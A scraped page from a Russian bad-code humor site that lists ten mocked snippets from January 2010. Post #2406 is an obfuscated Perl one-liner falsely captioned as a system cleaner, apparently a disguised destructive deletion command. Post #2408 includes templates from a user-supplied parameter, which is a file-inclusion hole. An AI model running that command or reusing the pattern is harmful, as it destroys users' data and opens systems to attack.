1. 1C / Говнокод #2411

    −134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    Процедура СправочникСписокПриВыводеСтроки(Элемент, ОформлениеСтроки, ДанныеСтроки)
    	
    ТекКвота = ДанныеСтроки.Ссылка;
    мЗапросДок = Новый Запрос;
    мЗапросДок.Текст = 
    "ВЫБРАТЬ
    |	ЕСТЬNULL(СУММА(СДотчетТовары.Количество), 0) КАК Количество
    |ИЗ
    |	Документ.СДотчет.Товары КАК СДотчетТовары
    |ГДЕ
    |	СДотчетТовары.Ссылка.Проведен = ИСТИНА
    |	И СДотчетТовары.КвотаОтчета = &Квота";			
    мЗапросДок.УстановитьПараметр("Квота",ТекКвота);
    			
    Выборка = мЗапросДок.Выполнить().Выбрать();
    Выборка.Следующий();
    ВДоке = Выборка.Количество;
    ОформлениеСтроки.Ячейки.СогласноСД.Значение = ?(ВДоке=0,"",ВДоке);
    мЗапросПОС = Новый Запрос;
    мЗапросПОС.Текст = 
    "ВЫБРАТЬ
    |	ЕСТЬNULL(СписаноПоПОСОбороты.КоличествоОборот, 0) КАК Количество
    |ИЗ
    |	РегистрНакопления.СписаноПоПОС.Обороты(, , , Квота = &Квота) КАК СписаноПоПОСОбороты";
    
    мЗапросПОС.УстановитьПараметр("Квота",ТекКвота);
    Выборка = мЗапросПОС.Выполнить().Выбрать();
    Выборка.Следующий();
    ВПОС = Выборка.Количество;
    ОформлениеСтроки.Ячейки.СогласноПОС.Значение = ?(ВПОС=0,"",ВПОС);
    			
    мЗапросРег = Новый Запрос;
    
    мЗапросРег.Текст = 
    "ВЫБРАТЬ
    |	ЕСТЬNULL(Квоты.КолВЗаказахПокупателя, 0) КАК КолВЗаказахПокупателя,
    |	ЕСТЬNULL(ЗаказПоставщику.КолВЗаказахПоставщику, 0) КАК КолВЗаказахПоставщику
    |ИЗ
    |	(ВЫБРАТЬ
    |		СУММА(ЕСТЬNULL(ЗаказПоставщикуТовары.Количество, 0)) КАК КолВЗаказахПоставщику
    |	ИЗ
    |		Документ.ЗаказПоставщику.Товары КАК ЗаказПоставщикуТовары
    |	ГДЕ
    |		ЗаказПоставщикуТовары.КвотаЗаказа = &Квота) КАК ЗаказПоставщику,
    |	(ВЫБРАТЬ
    |		СУММА(ЕСТЬNULL(КвотыЗаказовПокупателейОстаткиИОбороты.КоличествоПриход, 0)) КАК КолВЗаказахПокупателя
    |	ИЗ
    |		РегистрНакопления.КвотыЗаказовПокупателей.ОстаткиИОбороты(
    |				,
    |				,
    |				,
    |				,
    |				Квота = &Квота
    |					И ВидКвоты = ЗНАЧЕНИЕ(Перечисление.ВидыКвот.ОтчетнаяКвота)) КАК КвотыЗаказовПокупателейОстаткиИОбороты) КАК Квоты";
    
    			
    мЗапросРег.УстановитьПараметр("Квота",ТекКвота);
    Выборка = мЗапросРег.Выполнить().Выбрать();
    ЕстьВыборка = Выборка.Следующий();
    КолВЗаказахПокупателя = ?(не ЕстьВыборка,0,Выборка.КолВЗаказахПокупателя);
    КолВЗаказахПоставщику = ?(не ЕстьВыборка,0,Выборка.КолВЗаказахПоставщику);
    
    ОформлениеСтроки.Ячейки.ВЗаказахПокупателя.Значение = КолВЗаказахПокупателя;
    ОформлениеСтроки.Ячейки.ВЗаказахПоставщику.Значение = КолВЗаказахПоставщику;
    
    КонецПроцедуры

    Чудный справочник, очень быстро открывается и прокручивается. Приходится ждать по 20 секунд)))

    KingOfShit, 14 Января 2010

    Комментарии (44)
  2. PHP / Говнокод #2410

    +164

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    <?
    if( !defined("ADMIN") ) die("Access denied.");
    
    // Получение новых сообщений
    mysql_query('SET NAMES cp1251'); // Чертовы костыли!
    if($messages_count_new>0) {
        $sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 0";
        $result = mysql_query($sql);
        $messages_new = array();
        while ($row = mysql_fetch_assoc($result)) {
            $messages_new[] = $row;
        }    
    }
    // Получение прочитанных сообщений
    $sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 1";
    $result = mysql_query($sql);
    $messages_read = array();
    while ($row = mysql_fetch_assoc($result)) {
        $messages_read[] = $row;
    }
    
    $OUT .= '
    <table>
    <tr><td><h1>Внутренняя почта</h1></td></tr>';
    if(count($messages_new) > 0 OR count($messages_read) > 0):       
        if(count($messages_new) > 0):
            $OUT .= '<tr><td><h2>У вас '.count($messages_new).' новых сообщений</h2></td></tr>        
            <tr><tr>
            <table class="messages_list" width="100%">                  
                <tr><th>Дата</th><th>Тема</th></tr>';
                foreach($messages_new as $key=>$item):
                    $OUT .= '<tr>
                        <td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
                        <td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
                    </tr>';
                endforeach;
            $OUT .= '</td></tr></table>';          
            
        endif;
        if(count($messages_read) > 0):
            $OUT .= '<tr><td><h2>У вас '.count($messages_new).' прочитанных сообщений</h2></td></tr>
            <tr><tr>
            <table class="messages_list" width="100%">                  
                <tr><th>Дата</th><th>Тема</th></tr>';
                foreach($messages_read as $key=>$item):
                $OUT .= '<tr>
                        <td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
                        <td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
                    </tr>';
                endforeach;
            $OUT .= '</td></tr></table>';        
                  
        endif;
    else:
        $OUT .= '<tr><td>У вас нет сообщений</tr></td></table>';
    endif;

    :((((

    azzz, 14 Января 2010

    Комментарии (23)
  3. 1C / Говнокод #2409

    −213

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Если Пользователь.Родитель.КонтрольРазмещения = Истина Тогда
    	Возврат Истина;
    Иначе
    	Возврат Ложь;
    КонецЕсли;

    Лёгких путей не бывает :)

    KingOfShit, 14 Января 2010

    Комментарии (23)
  4. PHP / Говнокод #2408

    +162.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    <?
    /* Для spaw нужно */
      $spaw_root = dirname(__FILE__) . "/spaw/";
      include $spaw_root . 'spaw_control.class.php';
    
      /* Проверка на существование раздела */
      if (count($glb_page->prop))
      {
        load_lib("pw_mod");
        $glb_page->main_out = run_action($glb_page->prop['id_act'],1);
    
        // подключение шаблона
        if (isset($_GET['pw_patt']))  $glb_page->prop['templ'] = $_GET['pw_patt'];
        if (isset($_POST['pw_patt'])) $glb_page->prop['templ'] = $_POST['pw_patt'];
        if (isset($_REQUEST['pw_patt'])) $glb_page->prop['templ'] = $_REQUEST['pw_patt'];
    
        include(pw_Path_templ . $glb_page->prop['templ'] . ".php");
      }
      else
      {
        echo "Раздел не найден";
      }
    ?>

    xXx_totalwar, 14 Января 2010

    Комментарии (7)
  5. C# / Говнокод #2407

    +99.4

    1. 1
    2. 2
    3. 3
    4. 4
    string date_format = DateTime.Now.ToString("dddd dd") + "th " + DateTime.Now.ToString("MMMM yyyy");
    if (DateTime.Now.Day == 1 || DateTime.Now.Day == 21 || DateTime.Now.Day == 31) date_format = DateTime.Now.ToString("dddd dd")+"st "+DateTime.Now.ToString("MMMM yyyy");
    else if (DateTime.Now.Day == 2 || DateTime.Now.Day == 22) date_format = DateTime.Now.ToString("dddd dd")+"nd "+DateTime.Now.ToString("MMMM yyyy");
                else if (DateTime.Now.Day == 3 || DateTime.Now.Day == 23) date_format = DateTime.Now.ToString("dddd dd")+"rd "+DateTime.Now.ToString("MMMM yyyy");

    DateTime formatting - don't try this at home!

    bugotrep, 14 Января 2010

    Комментарии (5)
  6. bash / Говнокод #2406

    −91.4

    1. 1
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    Команда спасает от глюков и чистит систему.

    Говногость, 14 Января 2010

    Комментарии (23)
  7. JavaScript / Говнокод #2405

    +151.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    $('#state_checkboxes input[type=checkbox]').each(function(i) {
        $(this).click(function() {
            if (!$(this).attr('checked')) {
                if ($('#state_checkboxes input[type=checkbox]:checked').length == 0) {
                    $('#state_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
                }
            }
        });
    });
    
    $('#type_checkboxes input[type=checkbox]').each(function(i) {
        $(this).click(function() {
            if (!$(this).attr('checked')) {
                if ($('#type_checkboxes input[type=checkbox]:checked').length == 0) {
                    $('#type_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
                }
            }
        });
    });
    
    $('#own_checkboxes input[type=checkbox]').each(function(i) {
        $(this).click(function() {
            if (!$(this).attr('checked')) {
                if ($('#own_checkboxes input[type=checkbox]:checked').length == 0) {
                    $('#own_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
                }
            }
        });
    });

    Только что наговнокодил, еще тепленькое.
    Суть в следующем: есть несколько пар чекбоксов, в каждой из этих пар обязательно должен быть выделен хотя бы один. Если снимаем выделение со всех чекбоксов в паре, то установиться выделение должно у другого чекбокса.
    В данном говнокоде 3 пары чекбоксов, у меня в проекте их будет больше, вот сижу и думаю, как бы это всё покрасивее сделать, а то совсем уже

    striker, 14 Января 2010

    Комментарии (20)
  8. PHP / Говнокод #2404

    +144

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    switch($_GET['act'])
    {
    	default: break;
    	case 'manageusers':
    		{
    			///......
    		    break;
    		}
    		
    	default:
    	{
    		/// .......

    обнаружил щаз в своем коде 2 месячной давности.....

    nolka4, 14 Января 2010

    Комментарии (2)
  9. Си / Говнокод #2403

    +134.7

    1. 1
    si_node_append(&(*config), si_node_create_ex(param_name, param_value, param_flag)); // ...to the end

    Смысл операции &(*var) непонятен.
    Отдельного внимания заслуживает коментарий... мне удалось воткнуть :) оказывается, имелось в виду не "вперед, до самого конца", а "добавляем в конец списка", ага.

    Правда, был круче комент в одном месте... "redirect of conclusion"...
    В общем, когда вкурил что имелось в виду "перенаправление вывода", чуть не сдох со смеху :)

    Pencioner, 14 Января 2010

    Комментарии (23)
  10. JavaScript / Говнокод #2402

    +158.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    function compiledTest(ID, rank, memoryLimit, timeLimit, outputLimit, language, address){
        this.ID = ID;
        this.Rank = rank;
        this.MemoryLimit = memoryLimit;
        this.TimeLimit = timeLimit;
        this.OutputLimit = outputLimit;
        this.Language = language;
        this.Address = address;
        this.TestCases = new Array();
        
        this.getAnswer = function() {
            return document.getElementById(this.ID).value;
        }
        this.getScore = function() {
            var res = service(
                    this.getAnswer(), 
                    new this.allInfo(
                        this.Rank, this.MemoryLimit, this.TimeLimit, this.OutputLimit, this.Language, this.TestCases
                        ),
                    this.Address
                );
            
            return res;
        }
        
        // Смотри здесь ))))))
        this.allInfo = function(rank, memoryLimit, timeLimit, outputLimit, language, testCases) {
        
            this.Rank = rank;
            this.MemoryLimit = memoryLimit;
            this.TimeLimit = timeLimit;
            this.OutputLimit = outputLimit;
            this.TestCases = testCases;
            this.Language = language;
        }
        
        var c = arguments.length;
        for (var i = 6; i < c; i++) {
            this.TestCases.push(arguments[i]);
        }
    }

    Собственноличний говнокод. Буквально на днях писал єтот джаваскрипт. И только теперь заметил УЕБИЩНОЙ КОД. Проект пишется на С#. Джаваскрипта мало, но есть - приходилось писать его двум веб-программистам (также занимались С#) но они уже закончили свою роботу и ушли з проекта. Вот скинули на меня поодержку скриптов ( я js писал давно, но единственний в команде, кто его вообще писал). Написал первое, что пришло в голову для решения задачи.

    ajukraine, 14 Января 2010

    Комментарии (20)